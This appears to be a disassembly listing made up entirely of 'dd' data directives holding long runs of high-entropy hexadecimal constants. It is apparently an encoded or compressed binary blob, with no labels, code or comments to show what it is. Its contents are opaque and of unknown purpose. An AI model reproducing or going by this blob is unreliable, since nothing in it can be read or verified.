dd 2A04578h, 80A61156h, 85EAE800h, 0DC2BF205h, 347F3D65h
dd 6B8C1280h, 0E49560D3h, 1DF5B000h, 3BEAB10Eh, 0EE4E9811h
dd 5224037Fh, 0AC5E237Ch, 0E6A9B2D7h, 543D3048h, 7E5D6D01h
dd 270E9683h, 0B839C03Eh, 0EB00AE40h, 9F0F126Bh, 0FC687B4Ah
dd 151E78C1h, 8C7D31D1h, 93010A00h, 0AB30BF32h, 1E68B30Ah
dd 3F9C94D0h, 48A8C381h, 39EC556Ch, 0A6D9000Fh, 17E3029Dh
dd 0E5027E7Ah, 0A542F70h, 720060EAh, 0F11B1CE2h, 7628C0FEh
dd 0B19A7BFBh, 0BE002492h, 158BEA7Ch, 12A6DD93h, 6D7FEFh
dd 4F28D80Bh, 8E1EFEFDh, 0D287CBABh, 0C180E53Bh, 0F1A0B4A2h
dd 0DAADE8h, 0E985DCCCh, 4575E460h, 33D87C14h, 0E85A5068h
dd 234985F0h, 4E740A6Ch, 0FA9798E0h, 0EC9BA406h, 0E69011h
dd 0C1406B17h, 8C545E31h, 80C3192Ah, 0F6104907h, 0FCF0D13Fh
dd 0AF76B0h, 0B9058C6Ch, 0AD1A40E7h, 68CB6EF8h, 0B83D43B7h
dd 55C92Bh, 0B23D160Fh, 0BC8865F0h, 2E82430Eh, 454FC05Bh
dd 52DE95h, 0F550E31Ah, 0EBFEB234h, 35580B00h, 7D2B5141h
dd 60CE2D6h, 0D18510FDh, 383C50E2h, 1E81856Ah, 0D11D25B6h
dd 5D557281h, 708010E7h, 0F23EF77Ah, 49006EA8h, 23C2435h
dd 176C20Bh, 0BEDFE346h, 9F0DA0D1h, 6E6C10A1h, 0F37C5D03h
dd 379288EFh, 753E1C71h, 0D3B00376h, 5803308h, 7C38213Ch
dd 4745807Ah, 798A1FEh, 0C048DD3Ah, 0B5E58491h, 100276Ah
dd 3E2A74Eh, 0EE91707h, 7FEB7BF0h, 55334A0h, 87EBAC97h
dd 0FCD09A39h, 92726790h, 59F800EAh, 21F5B317h, 0A9C0F419h
dd 7324EF9Eh, 0FB550C2Bh, 0DCF0E838h, 97007D76h, 3E41E7D0h
dd 7B1BAF32h, 121C0FCh, 0FF8FB023h, 66121A00h, 0B3D14B41h
dd 0E8BD0059h, 5C03C658h, 6F03E52Dh, 11FDB05Eh, 8970893Eh
dd 188010E0h, 52F45F36h, 0FE600C19h, 97E1D730h, 0FBC73745h
dd 80810041h, 0F70E3AEDh, 1F6C0F8Fh, 21E2558Ch, 527C82h
dd 94EDC407h, 4035ACDFh, 9716FF02h, 0C04EA4D8h, 77A2C01h
dd 0A6769AE7h, 0C03CC0A3h, 0D37B0DD4h, 2DC8FB00h, 3FDCE6FAh
dd 27E201C7h, 50997593h, 55FC704Ch, 0E819600h, 3706CE36h
dd 6A881DEAh, 0A24D8E0Dh, 31945C0h, 0DD03DF6Bh, 4F8D2BFAh
dd 0C892E8CAh, 0DC2F0941h, 80FF6Ah, 8278EEB5h, 0E6C4610Ch
dd 4A78C2h, 8354FB98h, 6514ED88h, 0F4968A00h, 5FC00912h
dd 0E2763AFFh, 0DBAC0380h, 605CFC6Ah, 8D3D78E4h, 6CE3801Fh
dd 8ED16D4Bh, 46556D6h, 1C88D4A2h, 4E58D704h, 106660ADh
dd 9DFA84F8h, 1517011Fh, 0F07120B0h, 0DC28C070h, 0DDA6B628h
dd 7E0FE27Eh, 809F3F15h, 720813A3h, 2FA70736h, 0E0E9D5F6h
dd 3BDC8455h, 74068518h, 906F40h, 13C4E445h, 0C87C913Ah
dd 0D8F65801h, 54863009h, 1F59BD3h, 0D90AD120h, 4E271860h
dd 1F8F0820h, 0CDA5602Fh, 6A309BC3h, 90E5E10Eh, 98AD3FA0h
dd 0D5D3BB0Fh, 4C6366C0h, 0BD00D2ACh, 4D0503C5h, 38711AC6h
dd 5F8F6DCDh, 1058076Ch, 497F8836h, 4EDA20h, 7AE68219h
dd 138BD641h, 0EF87EA00h, 32050B5Dh, 0FA6D7322h, 4D9107B1h
dd 0C0AF35C8h
dd 0F3FCF871h, 16DB30A0h, 7400D27Bh, 0F485FFABh, 544A3h
dd 0A06A6CD1h, 6F3ED57Ah, 0D43DCCE3h, 37387B60h, 0F7D3F62h
dd 92DD5D88h, 440178E0h, 3500FBBEh, 618BBD9Ch, 0CABB098h
dd 744A1ED3h, 79C01D40h, 7B86DE77h, 0E1EB00BAh, 0FFA1F340h
dd 843FB5DFh, 198701DAh, 7F1B2CD1h, 0E2D9BDD4h, 352F0014h
dd 692F774h, 2B0EE915h, 401CE59Eh, 9AC0897h, 0CC070180h
dd 61644D6Dh, 1D9C5065h, 0F83FD257h, 1881E19Eh, 28BCCEDAh
dd 72621A01h, 8078E593h, 35089B10h, 3A73497Bh, 0FD01AACBh
dd 9E916E0h, 4D418084h, 95992539h, 1BC83C34h, 0B5142C57h
dd 6A1C781Fh, 0C8F300FEh, 8CB3F42Bh, 0AE7E1A02h, 33A52CC3h
dd 0A0BD18E0h, 0B69A0A03h, 0CD2AE1Fh, 133BAD99h, 79000251h
dd 0BF44363Ch, 3A883A93h, 0B40AE684h, 17C6361h, 89AA4E98h
dd 0FF09CCD2h, 0C12CF848h, 0DD4CF666h, 379862F8h, 0D0C832ABh
dd 5CADC6F1h, 9C36A03h, 1BC33CDh, 83AED1D0h, 20B5A14Eh
dd 0EA60F114h, 992039B0h, 0EEBBEA51h, 0F88A22C4h, 0B9801607h
dd 0C3703411h, 21B379h, 944B63F5h, 0B1CCCFA7h, 699833Eh
dd 0FC1F8B6Dh, 54642C50h, 10A8312Ah, 0A03824AEh, 0DD0006FEh
dd 9FE5D7BFh, 0B0417660h, 86B403E0h, 0E189CD9Ah, 84F89DABh
dd 0F0C4A912h, 214949E3h, 20824000h, 0D0C0C85Ah, 2819EFE9h
dd 0A8D4733Bh, 32FC98h, 86473929h, 9944022Bh, 1A256300h
dd 0EF1598DBh, 49A90369h, 0E90B9C52h, 96DF4080h, 9ABB203h
dd 313A78h, 0C553DE71h, 5A431ADDh, 3000E77Ch, 0AE085C8h
dd 632056AAh, 5D078961h, 3B861180h, 1E004A72h, 19E78CE9h
dd 9D556E0h, 1846F776h, 27987801h, 1B39805Bh, 0AEDBD2CDh
dd 0E5079F6h, 0A0A32AFFh, 4BBC8820h, 0BB2EC902h, 4205AFC8h
dd 0F461D169h, 4980643Ah, 0F6DC23FEh, 9BF86759h, 5B000470h
dd 1D506319h, 0A1B2A148h, 2034E4F8h, 0D4651064h, 3610184Eh
dd 0FA1959F1h, 9AD9003Ah, 67918F24h, 82790246h, 73ECC704h
dd 749CAD66h, 89901FBBh, 827200FAh, 0DD3E6367h, 1819D2C9h
dd 3E47D108h, 605289FFh, 4CE84E28h, 5501802Ah, 0AC0F03EAh
dd 0F0223Bh, 368B7BDAh, 0D580CAh, 0DF08740h, 8C36857h
dd 0FAF3E04h, 0D88178E9h, 0F80063A0h, 0E28B0789h, 7E4447Dh
dd 466898B6h, 0E96D04Ah, 201847E9h, 7520CF15h, 0C09F0073h
dd 52613309h, 0B800AF03h, 807950EAh, 99BE259h, 0FF8AD85Eh
dd 0A2A18C20h, 0AD1EE8B6h, 3240C796h, 0B7DE9DF8h, 0EE850290h
dd 896BD2EDh, 64B81880h, 5700DEBCh, 19CA333h, 9D8E337h
dd 0DB5D2B2Eh, 62C62A80h, 181B1B84h, 0D239A48Fh, 996C4841h
dd 649639DCh, 2E2E62Eh, 6F6D70B5h, 0BB1F8F80h, 3626C459h
dd 5FC50461h, 417786h, 7F0B2C0Fh, 14E4A583h, 1804824Ch
dd 59217E42h, 0EA290050h, 3F677C5Fh, 0CC05B584h, 1928996Ch
dd 4F4E0081h, 0D94A04Ch, 4B625F6Fh, 10573141h, 0E57603BCh
dd 8473B600h, 1FF3ED52h, 1FB7560h, 69C0F168h, 8062485Fh
dd 8CA79839h, 30ED783Dh, 0D5F9E68Eh, 860EE96Eh, 0B55835E7h
dd 0ECE4CA90h, 8553B140h, 377324F3h, 0BE3E3C34h, 708ED614h
dd 0B040D53Ah, 4105660Fh, 8FD7A0B5h, 7A91309Bh, 9137859h
dd 9085F0CEh, 4A6C9010h, 40A94D44h, 700AD7Bh, 0D225F7DBh
dd 704CC288h, 8DA700E2h, 92B5FAC7h, 3A1A239Eh, 393072F5h
dd 9E01A98h, 0DC312EE1h, 40002C13h, 93D58FF8h, 0AB417800h
dd 2402BF91h, 0C1B85884h, 0C9B51E00h, 0FF4EF768h, 3CB07890h
dd 1D1CF200h, 923F086h, 4A3D026Ah, 0EA65CC37h, 0C8EBF860h
dd 0EC83AD88h, 0FD270F57h, 3E1C0482h, 0BE00A13Eh, 0C5F34970h
dd 6629D63Bh, 3A0BF498h, 0DA182229h, 0E12AE0C7h, 5DF214BFh
dd 6D826840h, 0C4A0E389h, 0EC1F7635h, 0A53B510Fh, 0C8B80054h
dd 159EDE5Bh, 0ECFE8969h, 0B17A2401h, 70773899h, 0C8052604h
dd 4C28480Ch, 5A474080h, 6ED09C1h, 28271F3Ah, 1D8330B1h
dd 2F001C94h, 0DC554269h, 3D664C3Ch, 90569AD4h, 0F02A2058h
dd 848E3080h, 37A2A7A1h, 13CDBD01h, 244893FCh, 44CEB8EBh
dd 0A6630BD3h, 3C1A9FD9h, 599344C0h, 10BA24A1h, 0C47966h
dd 909D2E35h, 0E8A954E1h, 83DA4C38h, 69EB4B01h, 0D3D4E9F4h
dd 7873F050h, 0E3FC6Ch, 53801E89h, 0A203DAC7h, 0C8D16E05h
dd 38D81FE8h, 8C4491FFh, 6019BB8Eh, 9300D4F0h, 0F53C67EFh
dd 1FA7903h, 6CBC84BAh, 33D18DC1h, 0B40071CCh, 8AB52190h
dd 2E99824Eh, 0C324A7B6h, 6B911AACh, 509CF1B5h, 726DB47Ch
dd 96634E2Ch, 0A0B9480Bh, 0E1602E28h, 35BB0FE9h, 19427D65h
dd 8464782h, 6B096DA0h, 5217FA0Bh, 0B0882B7h, 7F3901E5h
dd 2E4C3399h, 6F4ED489h, 8D44E043h, 0D9BD8Ch, 17B6D732h
dd 617219ADh, 82E06748h, 482E208Dh, 1EC0394Ch, 0FC980Fh
dd 0ADA27BE5h, 212E859Bh, 4B9740EFh, 0CC4CA022h, 287A08F0h
dd 4D0372B1h, 0F090B36Ah, 5CFF1107h, 95802C21h, 36D49802h
dd 0CB3CCF4Ch, 0ADF8103Ah, 0A40403DCh, 12EC4031h, 0ED0D4F98h
dd 35F26004h, 0C88D724Eh, 0AC006833h, 0C317D09Eh, 0BEB84E7Eh
dd 0F28A8099h, 0C51CC01Ah, 0DFDCB9B0h, 136EA35h, 65879F56h
dd 0D5F89598h, 9251B81Bh, 0B498AB7Ch, 413660C5h, 0ACA6B735h
dd 34169900h, 113731C4h, 282705Ch, 0AF9E7509h, 0D482B64Fh
dd 0D100D32Bh, 21FDD4Eh, 78B90EA5h, 4841AD05h, 4895F34Bh
dd 36847EACh, 0D4A40686h, 47F58465h, 11581FDCh, 0E61983C0h
dd 0B5E01122h, 10CC5848h, 44E42C6h, 40784D10h, 2FF169C0h
dd 0E86801D0h, 0FB42D233h, 0CA3029B6h, 0B104444Bh, 8E07C862h
dd 0E00048E2h, 928CB383h, 0C99302E1h, 5F378407h, 183F40ECh
dd 0C631E5E7h, 858F6000h, 5BFF540h, 0E8CFBD15h, 5D8C821h
dd 0D30FB701h, 0F5350BFCh, 3B8CC9D0h, 34847090h, 8001F015h
dd 41CAE544h, 196A1B25h, 0BC0CC0ACh, 16E1EA00h, 0AF66C1F5h
dd 5DD0530h, 0CC68A56Bh, 9A0026ECh, 0B1DEE033h, 0B68640h
dd 0CB92C196h, 93A6DAAEh, 8728F700h, 0BB3163D0h, 0C2B0BF2h
dd 9832D2B2h, 9758E080h, 0BA00B6F3h, 40259592h, 933E8249h
dd 1D1154h, 39C0E131h, 0E455DF35h, 5E9C0245h, 0E991C215h
dd 5AD2CC40h, 8F1F990Ah, 0F68EA0C9h, 0CC010017h, 2EE58098h
dd 0AE8EB0Dh, 0BDAC1EC5h, 0B65F480h, 257D51A6h, 28019914h
dd 79B530C4h, 17F1A84Eh, 440E93B6h, 0B148E5ECh, 0C8583024h
dd 6E02DAEEh, 8527B41Dh, 0EC4645h, 8ABA4FA0h, 75D772D2h
dd 93DCCD49h, 0BBF86820h, 0DAB80599h, 63E1643Eh, 0BDEA0980h
dd 4419BCABh, 7DB54069h, 98268D68h, 0E48CD8D9h, 0AD21E0h
dd 972B8809h, 49A968A6h, 14B6DE16h, 89C4402h, 47D100CCh
dd 0C20485C0h, 9869F2BDh, 10F10C98h, 6DB98Ah, 705A035h
dd 108D6h, 0EDC06184h, 3A8C5E89h, 2EF3BA00h, 203E0A8Dh
dd 93B5ECCEh, 367F888Ch, 5C881093h, 0D5F5006Eh, 9093F17Eh
dd 0A5020F9Bh, 0F09739B5h, 39A0ECFEh, 0CC9DE547h, 1943007Fh
dd 0D0F8E17Ch, 6621F8C5h, 697E9040h, 481FB5h, 64D47AA0h
dd 0A5C38212h, 39085D0Bh, 62288FE6h, 421EDCD6h, 25F844B4h
dd 0E8AEC2F8h, 6127D125h, 44635884h, 5BF888E5h, 5E8071DDh
dd 7E358E10h, 241A773Eh, 38A94696h, 4CB85000h, 0CC77BED2h
dd 0A798CA03h, 0C0E54A28h, 991D6561h, 32870914h, 509484C4h
dd 0FD8E63h, 751001A1h
dd 242B1487h, 6D89731Dh, 95C26282h, 58184EC4h, 8D8E24CDh
dd 0E00C04D2h, 7FC646FFh, 7B487779h, 0C7B20079h, 815DF95Fh
dd 789659E6h, 0BDE08824h, 0B8979084h, 0A40C737Eh, 2AF50EB8h
dd 1C07C08h, 45DB167Ah, 15317000h, 68174CCEh, 0C6EB3AADh
dd 0A4290B07h, 998245E4h, 3872F8h, 5FFA587Bh, 18C2C3h
dd 6DBD0B44h, 10A06CA3h, 9502C00Ah, 98827473h, 90E7721Eh
dd 8877C5E0h, 0A009914Ch, 24D2F7A2h, 0F821F68Ch, 4AF4489Eh
dd 80008E48h, 0C830232Fh, 0C68902BBh, 0B51649AAh, 393B9841h
dd 4DBF00BCh, 6A54D038h, 6BBA05F3h, 30D8782Dh, 0FFF8CF94h
dd 8025035Ah, 6CD04713h, 3917A9Ch, 12C9CE25h, 0CAC065D2h
dd 0A2F6BBE1h, 3EB8A304h, 1CC190AEh, 34300F2Eh, 0ADA1C1DCh
dd 298A508Eh, 92A001Ch, 1C33ACDEh, 0CABD0024h, 0CB17432Bh
dd 0F041FCFh, 6F68D361h, 0A50BF0E3h, 0ED0038F2h, 857C4D67h
dd 3BADF60Ch, 6FB11Ch, 0C3A98BFFh, 31D39AA7h, 0DC712D4Bh
dd 0A03D8C66h, 809351C7h, 7FDD6F3Ah, 4E00427Fh, 0E161C524h
dd 18860259h, 80D8A1FEh, 5654F714h, 749C21CCh, 8A6BDD83h
dd 0D645A8D5h, 14D00078h, 6533FE84h, 0CB3CB5C2h, 0AF96058Ch
dd 0CC580E49h, 27A3BBD0h, 0A0186980h, 92C3751h, 0B591D032h
dd 2DF165CFh, 4A782010h, 73A5607Bh, 3BD43E75h, 83A6E202h
dd 44CC7D4Dh, 1BC1F44h, 59681AF8h, 0F4738B16h, 0F33CDBD3h
dd 0FF4A013Fh, 8665854h, 20323442h, 751C7C44h, 9DF7B40Eh
dd 80980E6Ah, 0D84EE80Ch, 304F4EE0h, 514BA57Ch, 7941238h
dd 857FD975h, 409863D0h, 4F609ABAh, 9C2425F6h, 0EA18F860h
dd 18787A96h, 29C862A8h, 0B848DDC6h, 0E80E17BFh, 57BBD7h
dd 1E14CA64h, 0D47E008Fh, 9CDE54B3h, 0D2315F87h, 6A4DC19Ah
dd 137873D2h, 372C22D7h, 0F158E920h, 0DB60113h, 0DA2DCF5Ah
dd 2052706Fh, 0E66AB116h, 23A48Dh, 2B4A500h, 0F5F49BDBh
dd 9200917Dh, 0ED1E609Dh, 90FA25A6h, 823E0051h, 0AC229AC8h
dd 7A252646h, 0A564203Ah, 7D383Fh, 0CF786245h, 9AEDA85h
dd 4C5C805Ch, 0FC65C078h, 1703EE08h, 854BCDh, 2AA250Ch
dd 0BE17AC0Fh, 0BC306FB2h, 0EEC559AFh, 7C1300B6h, 0D2ADB996h
dd 0B8AEDB1Ah, 7BAB9B10h, 58F01271h, 1F0CC8D0h, 7EE5DD02h
dd 0C03FA604h, 490AD9Dh, 0F652A959h, 93E0A421h, 0AA3DFDF8h
dd 8C37808Ah, 38E05E2Ah, 21FC0933h, 0E8186851h, 48BC8509h
dd 3980D19Ch, 83912069h, 44B0AC9Ch, 0F24A8054h, 5CD3102Ch
dd 54B1309Ah, 5E62D421h, 3A276E16h, 0AE1C2401h, 0C0253E49h
dd 681D3430h, 6EE481CFh, 9B99C7C0h, 0C100D777h, 55575E0h
dd 16FB83Fh, 3DEBFF1Fh, 6983ADD4h, 64518B7Ch, 0E45B005Ch
dd 0C44F5307h, 3F000AD7h, 24F2A7F6h, 0E6F9F013h, 5CA2E0C8h
dd 9FC0E4B4h, 1CF6EB04h, 0C935B2Ch, 46177F40h, 6E12DFAh
dd 1824FC38h, 8840C44Eh, 0ECFDCC3h, 7BB1004Dh, 3C24F1F0h
dd 685B72D5h, 0F4187063h, 0A3C680E4h, 4F74F920h, 66C820h
dd 0F1B16923h, 187FFE40h, 0CCF4A92Eh, 0FD997060h, 0DB2C2C21h
dd 84AE9150h, 30137BAAh, 5846DDB4h, 9B5AD00h, 7EC168E5h
dd 0F96E04C5h, 0C1FC821Ah, 32449894h, 0F4AE170Ch, 10546C3Ch
dd 1F111A01h, 8291644Dh, 48191927h, 3DCAC9A7h, 0A88E29D8h
dd 81A8DF00h, 456F0D0h, 0FA0160BBh, 2D0CDD14h, 48019F34h
dd 18B6ECA1h, 0C3A8989h, 0C60B5C20h, 211C09D1h, 58D88962h
dd 31AD671h, 9C8647CAh, 5BE0032Fh, 7A1D9432h, 0CF00A779h
dd 0E68236A2h, 2AB2EF9h, 0B1CC5058h, 79789001h, 741C8985h
dd 872F9C26h, 71B492h, 0B9E01884h, 0E11F94CAh, 92C90093h
dd 0FBD20B7Ah, 5B4BD02h, 404E601Fh, 0C063218Ch, 8FA0C5B9h
dd 0D51F67A5h, 708B045Bh, 4534103Ah, 27D400D3h, 0EE7F5DA6h
dd 0BE17B06Eh, 38082B8Ch, 49AAF0Ah, 0C409D453h, 50EC40D1h
dd 70BE00ABh, 0A783BDA5h, 0E112A120h, 189093B4h, 0F2AA0Bh
dd 9AFEA9DFh, 430ABA4h, 70533805h, 88376934h, 0B4F39304h
dd 7199DD09h, 75482046h, 0CA6E10FCh, 80129825h, 0F2FD6EC0h
dd 90C64600h, 28C39309h, 2B7B000Fh, 63E4A9D8h, 1195B2D2h
dd 9808669Ch, 3AC49496h, 420CB4h, 37783493h, 0FB10A42Ah
dd 56009AE8h, 0BD60CF33h, 2547DCD2h, 5090824Fh, 6AF41430h
dd 9315CC00h, 2B5FA4E4h, 0F7CB0069h, 9F4CE52Ch, 0F75618Eh
dd 0B2F66F71h, 0D48C75E1h, 75024A9Ah, 90E6CBA6h, 65CDB68h
dd 0C1CF0F86h, 208A484Ah, 40B70A1Ch, 0FD8F3598h, 250FA585h
dd 271FCB03h, 0F590AA87h, 1E4D720Ah, 0FFB6A1h, 5AF36C0h
dd 5C93AED1h, 57932505h, 629EB030h, 47F00743h, 0C06B5012h
dd 42B17A9Ah, 9902BE00h, 1E83E6C1h, 605C91E5h, 9E5E97CAh
dd 444BEA00h, 0C539E199h, 19D600D4h, 93494651h, 8300FCD3h
dd 0B3C0796Fh, 17AEDC2Bh, 74DB47C2h, 0CC0A09Ch, 0CCBEE738h
dd 827309F8h, 8F43223h, 51CEF4FFh, 849C017h, 8A80366Ch
dd 463725D9h, 76971E7h, 0D43FE6C4h, 0FEBCC02Ch, 0BB162616h
dd 0EC21C5F8h, 8850603Ah, 3D4B4C34h, 0BB80AADFh, 46497E4h
dd 2D26E59Ah, 0C51204ADh, 0A6B8A4h, 0E44B35AAh, 8B7C3D95h
dd 0D74100Eh, 0E1A8A540h, 0FE8E098h, 5077BEADh, 645A3B09h
dd 7634F400h, 0E44BF61h, 0E86801B2h, 0BC9DD6B1h, 1069C5h
dd 8CBA9B41h, 3B21BBB3h, 0D459C366h, 14103B89h, 0C707931Ah
dd 0DDF4A649h, 0A30D8AF1h, 5A4DA340h, 96D20935h, 0C8303999h
dd 722E6219h, 2008FC43h, 896D0EB9h, 0A5C700B1h, 4C28BEAEh
dd 1C550180h, 0B9573854h, 21F8E05Ah, 967DFF04h, 0B898A441h
dd 1C3A227Bh, 734F5000h, 0A95149F1h, 0F2E20074h, 2E61BD1Ah
dd 6E0ADEECh, 0AC19655Fh, 7F77BB81h, 8C613AE0h, 7580E839h
dd 310E2A40h, 1AFFAD27h, 0A8C6E0h, 0CBDEA338h, 0B5B031DBh
dd 0FCC8A74Ah, 1B8C9268h, 31344339h, 3CEC08Ch, 8008240h
dd 0D02AF3D2h, 1CA4A73h, 9AA65F6Ch, 401BA58Dh, 9936CC98h
dd 1F415Ah, 0DBC1A026h, 7EDB6758h, 0C9D95159h, 17C4460h
dd 705DB546h, 384D4FB3h, 218D050h, 0DB9885FCh, 4BB0ECBFh
dd 0B15C82ACh, 11C1F406h, 791A6C64h, 0F0359C4Eh, 62CFF862h
dd 41101AE8h, 98D049F0h, 549F00C8h, 0AD0A0BE2h, 33041590h
dd 74264F07h, 0AC00E0DAh, 0FFA2C8BEh, 0D8F21D19h, 47381492h
dd 2265AFECh, 5B094B60h, 53FE8150h, 0C0B7E0BAh, 930E0C9Dh
dd 61182D3Ch, 19DDEF95h, 0F6B0243Ch, 7A023BCAh, 0C4D63E26h
dd 0A47904E5h, 1E0957A8h, 318223B4h, 98C8A640h, 12AC990Bh
dd 98CA60h, 185C06E5h, 9CDDC9h, 137029A7h, 4768910Eh, 71A6D300h
dd 0D1544E69h, 9DDA096Ch, 0A0E6AB6Eh, 0A8944290h, 8F1E8D82h
dd 2A8890BCh, 0AC102473h, 6401CB54h, 728994E8h, 644C0178h
dd 0B84F9B20h, 68AC9DCh, 95E58082h, 0B880E1ABh, 9E04A752h
dd 0CBAED06Ah, 5E1E48E6h, 9CD5D41Eh, 5802C88h, 0B85712C4h
dd 0E77700D2h, 0DDF52BABh, 6CB0A83Dh, 0AF5A1B0Fh, 9185E967h
dd 0C798E80h, 0BD372801h, 0F09A0682h, 0DD1753CAh, 0F7020A5Bh
dd 52439FE9h, 0BEF10F4Ch, 1F26C59h, 13F508E8h, 0A03BD421h
dd 0CAC52896h, 8C5940F2h, 8FCA2D2h, 241EF0F8h, 1F211CCh
dd 34FE2BBCh, 2FC4DF19h, 0DCFF09D3h, 7040D770h, 0C689FDA8h
dd 8200482Dh, 0C1ACD013h, 0F079A11h, 73A39DFEh, 44DC8562h
dd 0CA494AA4h
dd 0C730078h, 40905867h, 0EFB09Fh, 6F71D59Eh, 606A5949h
dd 3AF5B213h, 430EBCD0h, 0F8FE029Ch, 0A16944Ah, 56BBC60h
dd 5F3C8902h, 6C26DEBBh, 478A4A14h, 707885F0h, 0EE360C2h
dd 4B2B3F00h, 7D7CEC1h, 8F310197h, 202126BBh, 99683CB7h
dd 0B6F0B84Ch, 2B1C00E5h, 0FA4009C0h, 4B1F78EEh, 0E085A9BCh
dd 0C06271FBh, 0E08F293h, 0BAF297D1h, 7CA55E4Fh, 7AEC8CD0h
dd 6200B5B8h, 11A59A63h, 0E44A409Fh, 0FBDA27D4h, 684AB84Ch
dd 6F7A70D0h, 6B2600AEh, 4CEA67B3h, 0DB008076h, 2304E459h
dd 2FD021FEh, 0A400AC18h, 8995C76Ch, 0F866BA44h, 49000E1h
dd 9B4F2E85h, 1600DAADh, 0FF2832F2h, 2FECE2h, 37839653h
dd 0B05A49AEh, 93C1894h, 94DB1AD6h, 0B885247Ch, 40B9446Ch
dd 0A5963CDAh, 0E0860072h, 0CDC6F0F1h, 0C5008F21h, 0E8E4AF50h
dd 0B16A6427h, 0B94A448h, 0D0004045h, 80A9D77Ch, 3896FF71h
dd 2559050h, 29B18B52h, 3C564F53h, 0B96B9263h, 298A54h
dd 0FCD99EC9h, 0C0EB6CACh, 2AF200h, 5B1A9D23h, 651CC519h
dd 5AFAD900h, 6D4C8356h, 0EF10007Bh, 7690AEF3h, 28CF5E9Ah
dd 0E6B3602Fh, 0C00C8647h, 0ADE05710h, 0D90ED8BAh, 0E4059011h
dd 0FBC17837h, 61BD1E9Ah, 52CFDE00h, 0EA49CB71h, 0F0B53D00h
dd 79D9058Eh, 18C473EDh, 311F9FE6h, 0A900E458h, 8A123B17h
dd 38D5B8h, 0B4876F59h, 0E1D0ED9Bh, 60F2706h, 8840E0h
dd 80E2895Eh, 7620D58h, 18423600h, 8EFC8602h, 0E1F60771h
dd 0F01A68C6h, 0C489C729h, 0F000B1FAh, 5E437B3Fh, 0C016A09Ch
dd 3D837881h, 0DB010EB6h, 0C4BEC032h, 0D8D37496h, 0F272884h
dd 9AC5E4DDh, 0C246F8E0h, 570E8F6Fh, 0C36622Ch, 2B08E5h
dd 92A0C767h, 0BDE71D5Dh, 81CE0B3Eh, 485BCC60h, 0D9E01B2Bh
dd 1D38CB2Ch, 0DF2102DFh, 0D0E3C010h, 99F600CCh, 0CA8ECD54h
dd 6A034CD9h, 9F5B76B1h, 2C600074h, 0FEADF342h, 0AC0FDCB0h
dd 83CFB329h, 387F0E69h, 0E23F6648h, 628C2483h, 39005C45h
dd 50DF644h, 2173E92h, 99868358h, 0E97EC4D0h, 4031980Eh
dd 0FDBAF402h, 53833873h, 43D9E430h, 3000D884h, 15AB7767h
dd 196CCFBh, 126DC3B3h, 415E995Bh, 50606850h, 8B07EF8Ch
dd 5082E009h, 1342007Eh, 156A431Bh, 848A498Eh, 0B30A6900h
dd 6094366Ch, 0D3006EFEh, 7C8CB6Ah, 3066A83Eh, 5950370Fh
dd 0C7004387h, 0B1FD9493h, 0AFFAB2h, 70810BDBh, 247A8232h
dd 0D3713105h, 801D7D72h, 5D403Ch, 2488DA6Ah, 0E52609FBh
dd 3F004E7Bh, 8DCB8CA7h, 1E55B132h, 403B3Ah, 0D9D0398Eh
dd 3F035B9Ah, 0AD6FC50Fh, 30D9062Eh, 580DE11Bh, 0C606D6F0h
dd 31B07210h, 24C80721h, 0B5DA80B1h, 8C8C005Fh, 0FDD54DE1h
dd 99D3C900h, 7EC8545Bh, 0BAE90A8Eh, 20B87401h, 47A614B0h
dd 3102AC0Bh, 2FF0995Eh, 0A58C4902h, 0F805F98h, 0C5B6BBh
dd 0A1B3574h, 80DE8F61h, 233A3F09h, 272C18A1h, 0A0A468h
dd 526DDE4Fh, 7432A73Dh, 7B808800h, 5CA43807h, 10D715Dh
dd 0AA61E92Fh, 715B732Ch, 42A0101Ah, 1C006E8Eh, 8A3D8599h
dd 9021785Fh, 494870F8h, 660014C2h, 6CE53E28h, 4491B319h
dd 0C161F581h, 48D2AD5Ch, 0B45A14h, 4D8F9E2h, 86498C62h
dd 0ACAAE1C0h, 5E7E14h, 664DF15Ch, 0CED47445h, 6F2A85B8h
dd 3650BCB0h, 394941D4h, 670B83A4h, 5B210043h, 0B485B7CEh
dd 0E9008613h, 5E4E532h, 4BD8C2Dh, 4258937Fh, 0F4188C3Ah
dd 10BAEF06h, 54D85EEEh, 0C0A8E01Dh, 96603ABAh, 0CAE63427h
dd 0C857491Eh, 40351D4Fh, 1B2DC15Fh, 0A14761F3h, 50EFC68Bh
dd 0C8418C8Ch, 0D955E218h, 4913FEF1h, 0F683A4CDh, 3CC214CBh
dd 6B2087h, 0A5CEC0F3h, 0EA28200h, 0F97940FBh, 28DA38DBh
dd 0E0A11F30h, 0DF0081A6h, 0A2C92ED6h, 5F74F6Ch, 0FB9824CCh
dd 2C63805Ch, 7355435Bh, 76C04CE8h, 0D3ABAE00h, 2665B9F1h
dd 28614C1h, 0CBC084F0h, 0C48A41DEh, 1BD1BB65h, 78A9A3C6h
dd 735C13D1h, 0CB8820ADh, 69C06846h, 42035866h, 0E8A5398Ch
dd 0E88E6F9Fh, 45DD0014h, 7D176C79h, 660CCCF9h, 0B0B023CEh
dd 0C7E433D1h, 67E007E1h, 0C9F4699Dh, 0C39EBD00h, 0DEAFE1CAh
dd 1343AABh, 82B07Bh, 7B261DC4h, 414F70DFh, 6D5CF02h, 0C02F3829h
dd 772D59ABh, 0A77FEEh, 88F7C1B2h, 2CF4262h, 3168B033h
dd 0A3B8FB98h, 0BA75E0EBh, 615970BCh, 8F9D1007h, 845EC418h
dd 49740900h, 0C724A25Dh, 52B800ABh, 0F2409E35h, 934CA795h
dd 674960AEh, 62B12D84h, 0AE781811h, 0F461E021h, 0B6B7880h
dd 6C912495h, 7D25A600h, 0E7A5734Dh, 14BB3C04h, 4FAF9681h
dd 0D4177FCFh, 0C7060AB9h, 0C8C135DDh, 0A6EB00B8h, 386DA74Fh
dd 86FCE60Eh, 1B846901h, 0E3A46BE4h, 0C340160h, 3AE7F247h
dd 0B500D580h, 452A992Fh, 0F8592758h, 1EF0AAAh, 8088EDB9h
dd 63517DE6h, 0C701CCADh, 1F3EE807h, 0CE39CAFh, 0A8FDC220h
dd 66005180h, 855268ABh, 1C7370B3h, 0C9314035h, 6F85B145h
dd 4C35829Bh, 2CE0A890h, 43B689C5h, 0B79477C0h, 565C7252h
dd 360CA881h, 0AFE9F86Ah, 0B6001178h, 27D16625h, 0A5803Eh
dd 6A990262h, 0C0D5C6B9h, 310BE0B7h, 3980EDC2h, 215B107h
dd 0F1F5D94h, 0FD2060h, 0A0E31DD7h, 9F2E609h, 0DEC019B8h
dd 40FC0C01h, 4AA19805h, 78ACBAF8h, 2A900019h, 0B00AC741h
